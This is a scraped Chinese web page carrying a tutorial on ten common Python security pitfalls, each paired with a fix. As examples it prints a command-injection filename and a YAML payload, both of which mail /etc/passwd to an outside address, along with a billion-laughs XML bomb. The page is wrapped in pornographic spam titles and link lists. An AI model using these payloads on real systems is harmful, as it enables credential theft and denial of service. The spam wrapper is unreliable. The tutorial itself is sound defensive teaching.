婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 詳細總結Python常見的安全問題

詳細總結Python常見的安全問題

熱門標簽:武漢外呼系統(tǒng)平臺 沈陽防封電銷卡品牌 沈陽人工外呼系統(tǒng)價格 富錦商家地圖標注 如何申請400電話費用 江西省地圖標注 池州外呼調(diào)研線路 外呼系統(tǒng)哪些好辦 沈陽外呼系統(tǒng)呼叫系統(tǒng)

一、輸入注入

注入攻擊非常廣泛而且很常見,注入有很多種類,它們影響所有的語言、框架和環(huán)境。

SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串字面量與變量混合。可以通過https://www.jb51.net/article/187001.htm
這個鏈接查看 SQL 注入所有可能發(fā)生的復雜方式。

命令注入可能在使用 popen、subprocess、os.system 調(diào)用一個進程并從變量中獲取參數(shù)時發(fā)生,當調(diào)用本地命令時,有人可能會將某些值設置為惡意值。

下面是個簡單的腳本,使用用戶提供的文件名調(diào)用子進程:

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻擊者會將 filename 的值設置為“; cat / etc / passwd | mail them@domain.com 或者其他同樣危險的東西。

修復:

如果你使用了 Web 框架,可以用附帶的實用程序對輸入進行清理,除非有充分的理由,否則不要手動構建 SQL 查詢,大多數(shù) ORM 都具有內(nèi)置的消毒方法。

對于 shell,可以使用 shlex 模塊正確地轉義輸入。

二、assert 語句(Assert statements)

不要使用 assert 語句來防止用戶訪問不應訪問的代碼段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

現(xiàn)在,默認情況下,Python 以 __debug__ 為 true 來執(zhí)行腳本,但在生產(chǎn)環(huán)境中,通常使用優(yōu)化運行,這將會跳過 assert 語句并直接轉到安全代碼,而不管用戶是否是 is_admin

修復:

僅在與其他開發(fā)人員進行通信時使用 assert 語句,例如在單元測試中或為了防止不正確的 API 使用。

三、計時攻擊(Timing attacks)

計時攻擊本質(zhì)上是一種通過計時比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性,所以通常不能用于高延遲的遠程網(wǎng)絡。由于大多數(shù) Web 應用程序涉及可變延遲,因此幾乎不可能在 HTTP Web 服務器上編寫計時攻擊。

但是,如果你有提示輸入密碼的命令行應用程序,則攻擊者可以編寫一個簡單的腳本來計算將其值與實際密碼進行比較所需的時間。

修復:

使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

四、臨時文件(Temporary files)

要在 Python 中創(chuàng)建臨時文件,通常使用 mktemp() 函數(shù)生成一個文件名,然后使用該名稱創(chuàng)建一個文件。 這是不安全的,因為另一個進程可能會在調(diào)用 mktemp() 和隨后嘗試通過第一個進程創(chuàng)建文件之間的空隙創(chuàng)建一個同名文件。這意味著應用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時數(shù)據(jù)。

如果調(diào)用不正確的方法,則最新版本的 Python 會拋出運行警告。

修復

如果需要生成臨時文件,請使用 tempfile 模塊并使用 mkstemp。

五、使用 yaml.load

引用 PyYAML 文檔:

警告:使用從不可信源接收到的數(shù)據(jù)來調(diào)用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強大,所以可以調(diào)用任何 Python 函數(shù)。

在流行的 Python 項目 Ansible 中這個例子,你可以將此值作為(有效)YAML 提供給 Ansible Vault,它使用文件中提供的參數(shù)調(diào)用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,從用戶提供的值中有效地加載 YAML 文件會讓應用對攻擊打開大門。

修復:

總是不優(yōu)先使用 yaml.safe_load,除非你有一個非常好的理由。

六、解析 XML(Parsing XML)

如果你的應用程序要加載、解析 XML 文件,則你可能正在使用 XML 標準庫模塊。通過 XML 的攻擊大多是 DoS 風格(旨在使系統(tǒng)崩潰而不是泄露數(shù)據(jù)),這些攻擊十分常見,特別是在解析外部(即不可信任的)XML 文件時。

其中有個「billion laughs」,因為他的 payload 通常包含很多(十億)「lols」。基本上,這個原理是可以在 XML 中使用參照實體,所以當解析器將這個 XML 文件加載到內(nèi)存中時,它會消耗數(shù) G 大小的內(nèi)存(RAM)。

?xml version="1.0"?>
!DOCTYPE lolz [
  !ENTITY lol "lol">
  !ENTITY lol2 "lol;lol;lol;lol;lol;lol;lol;lol;lol;lol;">
  !ENTITY lol3 "lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;">
  !ENTITY lol4 "lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3;">
  !ENTITY lol5 "lol4;lol4;lol4;lol4;lol4;lol4;lol4;lol4;lol4;lol4;">
  !ENTITY lol6 "lol5;lol5;lol5;lol5;lol5;lol5;lol5;lol5;lol5;lol5;">
  !ENTITY lol7 "lol6;lol6;lol6;lol6;lol6;lol6;lol6;lol6;lol6;lol6;">
  !ENTITY lol8 "lol7;lol7;lol7;lol7;lol7;lol7;lol7;lol7;lol7;lol7;">
  !ENTITY lol9 "lol8;lol8;lol8;lol8;lol8;lol8;lol8;lol8;lol8;lol8;">
]>
lolz>lol9;/lolz>

另一些攻擊使用外部實體擴展。XML 支持從外部 URL 引用實體,XML解析器通常會毫無疑問地獲取并加載該資源。攻擊者可以規(guī)避防火墻并訪問受限制的資源,因為所有請求都是由內(nèi)部可信的 IP 地址創(chuàng)建的,而不是來自外部。

需要考慮的另一種情況是依賴的第三方軟件包需要解碼 XML ,例如配置文件、遠程 API。你甚至可能不知道某個依賴關系會將這些類型的攻擊置之不理。

修復:

使用 defusedxml 替換標準庫模塊,它增加了針對這些類型攻擊的安全防護。

七、受污染的 site-packages 或 import 路徑

Python 的 import 系統(tǒng)非常靈活,當你想要為測試寫補丁或重載核心功能時,這是非常棒的。

但這卻是 Python 中最大的安全漏洞之一。

安裝第三方軟件包,無論是在虛擬環(huán)境中還是全局(通常不鼓勵)都會讓你看到這些軟件包中的安全漏洞。有一些發(fā)布到 PyPi 的軟件包與流行的軟件包具有相似的名稱,但是卻執(zhí)行了任意代碼。

需要考慮的另一種情況是依賴的依賴,他們可能包含漏洞,他們也可以通過導入系統(tǒng)覆蓋Python 中的默認行為。

修復

看看 http://PyUp.io 及其安全服務,為所有應用程序使用虛擬環(huán)境,并確保全局的 site-packages 盡可能干凈,檢查包簽名。

八、序列化 Pickles

反序列化 pickle 數(shù)據(jù)和 YAML 一樣糟糕。Python 類可以聲明一個 __reduce__ 方法,該方法返回一個字符串,或一個可調(diào)用的元組以及使用 pickle 序列化時調(diào)用的參數(shù)。攻擊者可以使用它來包含對其中一個子進程模塊的引用,以在主機上運行任意命令。

修復

切勿使用 pickle 反序列化不受信任或未經(jīng)身份驗證來源的數(shù)據(jù)。改用另一種序列化模式(如JSON)。

九、使用系統(tǒng) Python 運行時并且不修復它

大多數(shù) POSIX 系統(tǒng)都自帶有一個 Python 2 版本(通常是舊版本)。

有時候 Python(即 CPython 是用 C 語言編寫的) 解釋器本身存在漏洞, C 中的常見安全問題與內(nèi)存分配有關,所以大多是緩沖區(qū)溢出錯誤,CPython 多年來一直存在一些溢出漏洞,每個漏洞都在后續(xù)版本中進行了修復。也就是說,如果及時升級 python 運行時,就很安全。

修復:

為生產(chǎn)應用程序安裝最新版本的 Python,并及時安裝修復更新!

十、不修復依賴關系

類似于不修補 python 運行時,還需要定期修補依賴關系。

修復

使用像 PyUp.io 這樣的服務來檢查更新,向應用程序提出 pr,并運行測試以保持軟件包是最新的。

到此這篇關于詳細總結Python常見的安全問題的文章就介紹到這了,更多相關Python安全問題內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:
  • 使用bandit對目標python代碼進行安全函數(shù)掃描的案例分析
  • Python通過kerberos安全認證操作kafka方式
  • 線程安全及Python中的GIL原理分析
  • python線程安全及多進程多線程實現(xiàn)方法詳解
  • 詳解python實現(xiàn)線程安全的單例模式
  • 利用python批量給云主機配置安全組的方法教程
  • Python簡單實現(xiàn)安全開關文件的兩種方式
  • python smtplib模塊發(fā)送SSL/TLS安全郵件實例
  • Python操作sqlite3快速、安全插入數(shù)據(jù)(防注入)的實例

標簽:潛江 呂梁 通遼 黑龍江 常德 株洲 銅川 阿里

巨人網(wǎng)絡通訊聲明:本文標題《詳細總結Python常見的安全問題》,本文關鍵詞  詳細,總結,Python,常見,的,;如發(fā)現(xiàn)本文內(nèi)容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《詳細總結Python常見的安全問題》相關的同類信息!
  • 本頁收集關于詳細總結Python常見的安全問題的相關信息資訊供網(wǎng)民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    亚洲成在线观看| 亚洲欧美另类小说| 综合久久给合久久狠狠狠97色| 综合久久久久久| 国产一区二区久久| 欧美在线free| 国产午夜精品在线观看| 日韩精品一二三区| 色哟哟在线观看一区二区三区| 欧美电影免费观看高清完整版在线观看| 亚洲三级在线播放| 国产高清无密码一区二区三区| 欧美日韩国产高清一区二区| 国产精品久久久久久妇女6080| 美女一区二区在线观看| 欧美日韩一区小说| 最好看的中文字幕久久| 国产成人av电影在线观看| 日韩一级黄色大片| 亚洲福中文字幕伊人影院| a4yy欧美一区二区三区| 久久先锋影音av| 国产一区二区剧情av在线| 欧美二区三区的天堂| 亚洲成a人v欧美综合天堂下载| 一本色道久久综合亚洲91| 国产精品久久久久久久第一福利| 国产91高潮流白浆在线麻豆| 国产亚洲精品资源在线26u| 久久精品国产精品亚洲综合| 欧美一卡二卡三卡| 视频一区二区欧美| 欧美一区二区三区视频免费播放| 青青草视频一区| 在线播放日韩导航| 另类欧美日韩国产在线| 亚洲精品一区二区精华| 国内精品久久久久影院一蜜桃| 欧美电视剧免费全集观看| 免费高清在线视频一区·| 精品日韩欧美在线| 国产一区二区在线视频| 国产欧美精品国产国产专区| 国产成人亚洲综合a∨婷婷图片| 国产日本一区二区| 色网站国产精品| 亚洲电影你懂得| 日韩欧美久久久| 国产麻豆精品久久一二三| 日本一区二区三区高清不卡| 成人黄色777网| 一区二区三区中文字幕| 91麻豆精品国产91久久久久久 | 日韩一级片网站| 久久99精品久久久| 日本一区二区三区在线不卡| 99精品视频中文字幕| 亚洲一区二区视频在线观看| 欧美精品在欧美一区二区少妇| 精品一区二区免费看| 欧美激情中文字幕| 欧美视频日韩视频| 国内国产精品久久| 亚洲色欲色欲www在线观看| 欧美日本乱大交xxxxx| 激情小说欧美图片| 亚洲男同性恋视频| 91精品福利在线一区二区三区| 国产电影一区在线| 亚洲va国产va欧美va观看| 久久视频一区二区| 在线观看国产91| 激情文学综合网| 亚洲一区二区av在线| 久久美女高清视频| 欧美亚洲一区三区| 国产一区二区毛片| 日一区二区三区| 国产精品看片你懂得| 日韩精品专区在线| 色爱区综合激月婷婷| 激情综合色综合久久| 亚洲一区二区3| 成人欧美一区二区三区黑人麻豆| 欧美一区二区三区视频在线| 在线精品视频一区二区| 国产成人一区在线| 黑人巨大精品欧美一区| 午夜精品在线视频一区| 亚洲色图清纯唯美| 欧美经典三级视频一区二区三区| 制服.丝袜.亚洲.中文.综合| 色婷婷精品大视频在线蜜桃视频| 国产一区二区三区不卡在线观看| 日韩精品福利网| 午夜日韩在线观看| 亚洲影院久久精品| 国产精品三级av| 欧美激情综合五月色丁香小说| 精品日韩在线观看| 欧美成人福利视频| 日韩欧美久久久| 日韩免费福利电影在线观看| 欧美绝品在线观看成人午夜影视| 在线日韩一区二区| 一本色道久久综合亚洲aⅴ蜜桃 | 成人免费视频国产在线观看| 国产一区二区三区| 国产黄色精品网站| 国产精品一区免费在线观看| 蜜臀国产一区二区三区在线播放| 五月天丁香久久| 天天影视色香欲综合网老头| 亚洲成av人综合在线观看| 亚洲成人av免费| 性久久久久久久久久久久| 亚洲成人先锋电影| 日本sm残虐另类| 蜜桃视频免费观看一区| 奇米精品一区二区三区四区| 日韩精品免费视频人成| 久久精品久久99精品久久| 狠狠v欧美v日韩v亚洲ⅴ| 国产一区二区中文字幕| 成人丝袜18视频在线观看| 成人免费视频免费观看| 91黄色免费网站| 4438成人网| 国产午夜亚洲精品午夜鲁丝片| 国产精品久久久久久户外露出| 国产精品激情偷乱一区二区∴| 亚洲人一二三区| 三级在线观看一区二区| 狠狠色伊人亚洲综合成人| 国产很黄免费观看久久| 色94色欧美sute亚洲线路一久 | 秋霞国产午夜精品免费视频| 国产一区不卡视频| 91天堂素人约啪| 91麻豆精品国产自产在线观看一区 | 日韩女优制服丝袜电影| 国产欧美日韩三级| 一区二区三区中文在线观看| 日本亚洲天堂网| 成人综合激情网| 欧美色欧美亚洲另类二区| 欧美xxxxxxxxx| 日韩理论片网站| 美腿丝袜在线亚洲一区| 91在线一区二区| 日韩欧美www| 亚洲乱码中文字幕| 国内久久婷婷综合| 色噜噜夜夜夜综合网| 久久久91精品国产一区二区三区| 亚洲男人的天堂在线观看| 精品一区二区在线看| 欧洲精品视频在线观看| 久久久久久久久久久久电影| 亚洲亚洲精品在线观看| 成av人片一区二区| 亚洲精品一区二区三区在线观看 | 精品国产露脸精彩对白| 亚洲人成影院在线观看| 久久精品国产成人一区二区三区| 97se亚洲国产综合自在线不卡| 日韩美女主播在线视频一区二区三区 | 亚洲欧洲性图库| 久久国产视频网| 欧美午夜电影在线播放| 国产蜜臀97一区二区三区| 日韩av电影一区| 欧美日韩精品欧美日韩精品一| 中文字幕国产精品一区二区| 老司机午夜精品| 91精品国产综合久久婷婷香蕉| 亚洲色图欧美在线| 成人精品视频一区| 久久蜜桃av一区二区天堂| 麻豆成人久久精品二区三区红| 欧美久久高跟鞋激| 亚洲成人免费在线| 99在线视频精品| 亚洲国产电影在线观看| 国产黄色成人av| 国产视频不卡一区| 国产精品亚洲视频| 久久免费精品国产久精品久久久久| 男男gaygay亚洲| 欧美电影影音先锋| 天堂va蜜桃一区二区三区 | 欧美美女直播网站| 五月天久久比比资源色| 欧美精品乱码久久久久久| 亚洲大片免费看| 欧美一区二区国产| 麻豆成人免费电影| 久久久久久免费| 国产成人免费在线观看不卡| 国产网站一区二区三区|